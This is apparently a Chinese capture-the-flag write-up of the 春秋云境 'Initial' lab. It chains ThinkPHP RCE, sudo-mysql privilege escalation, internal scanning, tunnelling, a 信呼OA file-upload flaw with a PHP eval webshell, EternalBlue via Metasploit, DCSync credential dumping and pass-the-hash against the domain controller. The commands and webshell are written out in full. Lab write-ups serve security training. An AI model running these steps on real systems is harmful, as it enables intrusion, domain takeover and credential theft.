春秋云境 - Initial

春秋云境 - Initial
Jatoposflag1
ThinkPHP RCE 与 WebShell 获取
看图标可以知道是thinkphp
Thinkphp 漏洞检测工具
上传shell
蚁剑连接
权限提升:SUID 与 sudo 滥用读取 flag1
suid提权
find / -user root -perm -4000 -print 2> result.txt |
列出当前用户被授权可以以 sudo 执行的命令(即查看用户的 sudo 权限)。
sudo -l |
这里有mysql可以利用
sudo mysql -e '\! cat /root/flag/flag01.txt' |
flag{60b53231- |
flag2
内网横向移动——查网段
由于题目提示 flag各部分位于不同的机器上,所以这里我们要通过内网横向移动,进而获取同一内网中的其他主机或系统里面的flag
内网横向移动(Lateral Movement) 是指攻击者在成功入侵一台内网主机后,以此为跳板,进一步渗透同一内网中的其他主机或系统的过程。它是红队/渗透测试/APT 攻击中的关键阶段,目标是扩大控制范围、提升权限、最终获取核心资产(如域控、数据库、OA 系统等)。
这里首先输入以下指令,查一下自身的网段
ip a |
网段是什么? 一组可以直接通信的 IP 地址集合 。
/24:小网段,254 个 IP,最常用
/16:大网段,6.5 万个 IP,常见于云环境或大型内网
举例:/24 是一栋楼,/16 是一个小区。你住在 1 号楼 15 室,先敲同楼的门,别一上来就跑遍整个小区。
回显了
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 |
这里主要看**eth0**** 接口(主网卡)**
2: eth0: <BROADCAST,MULTICAST,UP,...> |
- 关键信息:该主机的 **内网 IP 是 **
**172.22.1.15**; - 子网掩码
/16表示 **网段是 ****172.22.0.0/16**(即172.22.0.1~172.22.255.254); - 我们这里查 172.22.1.0/24 (即
**172.22.1.0**~**172.22.1.255**)
内网扫描:使用 fscan 扫描存活机器
得到网段后,我们扫描一下内网中有哪些存活机器,我们先用蚁剑上传 fscan
fscan是什么?
fscan是一款由 中国安全研究员 开发的内网综合扫描工具,常用于渗透测试和红队行动中,主打 快速、轻量、一体化,能自动完成多种常见漏洞的探测与利用。
运行 fscan(通常指 fscan.exe 或 fscan_linux)会对目标网段执行自动化批量扫描,主要包括以下功能:
| 存活探测 | ICMP ping + TCP 端口探测(判断主机是否在线) |
|---|---|
| 端口扫描 | 扫描常见高危端口(如 21, 22, 23, 80, 445, 3306, 6379, 7001, 8080 等) |
| 弱口令爆破 | 自动尝试默认/弱口令,支持: • SMB(Windows 共享) • FTP • SSH • MySQL • MSSQL • Redis • PostgreSQL • RDP(部分版本) • Tomcat • WebLogic 等 |
| 漏洞检测 | 自动检测常见漏洞,例如: • MS17-010(永恒之蓝) • Redis 未授权访问 • WebLogic CVE-2017-10271 / CVE-2019-2725 • Shiro 反序列化 • Spring Cloud Config 目录遍历 • ThinkPHP RCE(如你之前提到的 TP5.0.23) • Jboss、Apache Unomi、Nexus 等 |
| 信息收集 | 获取 Banner、网站标题、中间件版本等 |
| 代理支持 | 部分版本支持通过代理扫描 |
使用fscan进行扫描,并将结果返回fscan.txt
./fscan -h 172.22.1.0/24 > fscan.txt |
得到
start infoscan |
可以获得以下信息
| 172.22.1.15 | — | — | 80, 22 | Web(ThinkPHP)、SSH |
|---|---|---|---|---|
| 172.22.1.2 | DC01 |
Windows Server 2016 | 88, 135, 139, 445 | DC域控(Domain Controller) |
| 172.22.1.18 | XIAORANG-OA01 |
Windows Server 2012 R2 | 80, 135, 139, 445, 3306 | 信呼 OA 系统 + MySQL |
| 172.22.1.21 | XIAORANG-WIN7 |
Windows Server 2008 R2 SP1 | 135, 139, 445 | 存在 MS17-010(永恒之蓝)! |
内网穿透
这里我们先打 信呼OA 这个漏洞
信呼 OA(全称:信呼协同办公系统)是一款由国内开发者(“信呼团队”)开发的 开源免费企业协同办公平台,主要面向中小型企业,提供流程审批、文档管理、任务协作、人事管理等功能。
这里需要内网穿透,使得我们在攻击机windows系统中也能访问内网
frp
首先尝试frp内网穿透 ( 目的是使我们能够在攻击机访问内网的服务 )
https://github.com/fatedier/frp
我们需要将 frps 和 frps.toml 上传到我们的 vps
[common] |
将frpc和 frpc.toml 上传到我们的靶机
serverAddr = "114.132.49.165" # frps 服务端的公网 IP |
然后在靶机执行:
./frpc -c frpc.toml |
在 vps 执行:
./frps -c frps.toml |
但是这里蚁剑网络不是很好,没有成功,我们换一个方法
Neo-reGeorg+Proxifier
这里学习了一下 使用Neo-reGeorg+Proxifier实现内网穿透
https://www.cnblogs.com/KHZ521/p/15931511.html
生成密钥
python3 neoreg.py generate -k jato |
自动生成脚本文件
将对应脚本文件上传的目录的应用web目录,并确定可以访问
这里将tunnel.php上传至蚁剑,发现可以正常访问
使用neoreg连接目标脚本文件(-p指定端口,默认为1080)
python3 neoreg.py -k <已经设定的密钥> -u <http://xxx.xxx.xxx/tunnel.php> -p <prot> |
确定脚本正常工作
接下来配合Proxifier实现流量转发
此时可以正常穿透
信呼OA qcloudCosAction.php 任意文件上传漏洞
爆破得到账号密码
admin |
成功进入系统
这里直接打 信呼OA 这个漏洞,有一个poc
# 1.php为webshell |
同目录下需要放一个一句话木马 1.php
<?php @eval($_POST[1]);?> |
木马上传成功
访问一下网页,发现可以正常解析
蚁剑连接,注意这里一定要先改一下代理设置,否则会连不上一句话木马
连接成功
由于目录比较多,我们可以先查找匹配一下flag
dir /s flag |
直接访问就可以拿到第二个flag
2ce3-4813-87d4- |
flag3
MS17-010(永恒之蓝)攻陷 Win7 主机
在flag2中我们对内网进行扫描,扫出来了永恒之蓝
| 172.22.1.21 | XIAORANG-WIN7 |
Windows Server 2008 R2 SP1 | 135, 139, 445 | 存在 MS17-010(永恒之蓝)! |
|---|
首先了解一下什么是永恒之蓝?
“永恒之蓝”(EternalBlue) 是由美国国家安全局(NSA)开发的一个高危漏洞利用工具,后被黑客组织 Shadow Brokers 在 2017 年 4 月公开泄露。它利用的是 Windows 操作系统中 SMB(Server Message Block)协议的一个远程代码执行漏洞。编号:CVE-2017-0146、MS17-010。
- 漏洞位置:Windows SMBv1 协议的内核驱动(
srv.sys)中。- 漏洞类型:缓冲区溢出(Buffer Overflow),具体是由于 SMB 协议在处理恶意构造的“写入”请求时,未正确验证数据长度,导致攻击者可以向内核内存中写入任意数据。
攻击者只需目标开放 TCP 445 端口(SMB 服务),即可远程执行任意代码, 成功利用后可获得 SYSTEM 权限(最高权限)。
要成功利用 EternalBlue,目标必须同时满足以下条件:
| ✅ 未安装 MS17-010 补丁 | 微软在 2017 年 3 月发布修复补丁(如 KB4013389)。若已打补丁,则无法利用。 |
|---|---|
| ✅ 启用 SMBv1 协议 | Windows 默认在 Win10/Server 2016+ 中禁用 SMBv1,但 Win7/2008 R2 默认开启。 |
| ✅ 445 端口开放且可访问 | 攻击者必须能通过 TCP 445 端口与目标通信(无防火墙拦截)。 |
| ✅ 目标为支持架构 | 主要影响:Windows 7 / Windows Server 2008 R2(x64 最稳定),部分 WinXP/2003 也可利用(需不同 payload)。 |
接下来我们要利用永恒之蓝进行攻击
这里需要用到渗透框架 Metasploit Framework,kali自带这个框架
接着我们先了解一下MSF
MSF 是 Metasploit Framework 的缩写,它是一个开源的渗透测试平台,广泛用于开发、测试和执行漏洞利用(exploit)代码,以评估目标系统的安全性。
漏洞利用:执行远程/本地 exploit(如
**exploit/windows/smb/ms17_010_eternalblue**)
由于我们要用到kali,所以这里还是先用Neo-reGeorg对kali实现内网穿透
然后我们需要 设置 socks5 代理 ,这里需要用到proxychains4 工具
vim /etc/proxychains4.conf |
启动msf
proxychains4 msfconsole |
**proxychains4**是一个工具,用于强制让后续程序的网络流量通过预配置的代理链(如 SOCKS 或 HTTP 代理)。**msfconsole**是 Metasploit 的交互式命令行界面。
搜索 ms17-010 相关模块 ,一共有四个相关模块
search MS17-010 |
这里我们选择使用第一个模块,因为它支持的 Windows 版本较多 ,然后接下来依次输入以下命令来发起永恒之蓝攻击:
use exploit/windows/smb/ms17_010_eternalblue # 选择使用的模块 |
运行成功会出现meterpreter>
meterpreter>是 Metasploit Framework(MSF) 中 Meterpreter 载荷(payload)成功执行后进入的交互式命令行提示符(扩展模块)。它表示你已经获得了一个与目标系统建立的高级、内存驻留型后渗透会话(session), 对目标系统进行更深入的渗透 。
连接成功后,我们查看一下我们的权限
meterpreter > getuid |
已经是system权限了
DCSync攻击
这里我们就已经打入目标主机了,但是该子机上并没有flag, 我们最后的flag在 windows DC 域控制器上面
| 172.22.1.2 | DC01 |
Windows Server 2016 | 88, 135, 139, 445 | DC域控(Domain Controller) |
|---|
DC域控是什么?
DC(Domain Controller,域控制器) 是 Windows Active Directory(AD,活动目录) 网络架构中的核心服务器角色,负责集中管理网络中的用户、计算机、组策略、身份验证和授权等安全服务。** **
**在 CTF 或红队演练中: 拿到 DC = 拿到 flag:域内所有用户凭证、敏感数据、GPO 后门均可获取。 **
**如何拿到DCC呢?这里需要 进行 **DCSync** 攻击 **
在 Active Directory 中,多个域控制器之间需要保持数据一致(比如用户密码修改后,所有 DC 都要同步更新)。为此,Windows 提供了一套名为 Directory Replication Service (DRS) 的协议,允许 DC 之间通过 RPC 调用(如
**DsGetNCChanges**) 请求同步目录数据, 每隔15min就会进行一次域数据同步 。
DCSync 攻击就是伪装成一台合法的域控制器,向目标 DC 发起 DRS 复制请求,要求“同步”特定用户的凭证信息。由于 AD 信任具备复制权限的主体,目标 DC 会主动返回该用户的密码哈希和 Kerberos 密钥。
**我们可以通过 **DCSync** 来导出所有用户的 **hash** 然后进行哈希传递攻击 **
如果想要执行 DCSync, 必须拥有以下任一高权限身份:
Domain Admins(域管理员) |
在我们一开始的fscan中
[+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1) |
说明我们拿下的这台机子是enterprise 用户 ,可以进行DCSync攻击,接下来我们 来获取用户的 hash
load kiwi # 加载 kiwi 扩展模块,支持内存凭证提取、哈希转储、票据操作、DCSync 等高级功能。 |
结果如下:
我们可以看到Administrator 用户的 hash,
500 Administrator 10cf89a850fb1cdbe6bb432b859164c8 512 |
接下来我们使用 crackmapexec 来进行哈希传递攻击,来实现 DC域控 上的任意命令执行
CrackMapExec(简称 CME) 是一个专为 Active Directory(AD)渗透测试和红队行动 设计的后渗透利用框架,主要用于大规模自动化地枚举、攻击和利用 Windows 网络中的 SMB、LDAP、MSSQL、WinRM 等服务。
这道题我们 使用哈希进行横向移动(PtH),直接利用哈希值完成身份认证,从而在其他主机上执行命令或获取访问权限。【 Windows 的 NTLM 认证协议 在验证用户身份时,并不强制要求明文密码,而是使用 NTLM Hash(即密码的 MD4 哈希) 进行挑战-响应计算。】
proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt" |
拿到flag3:
e8f88d0d43d6} |
最终flag
flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6} |
































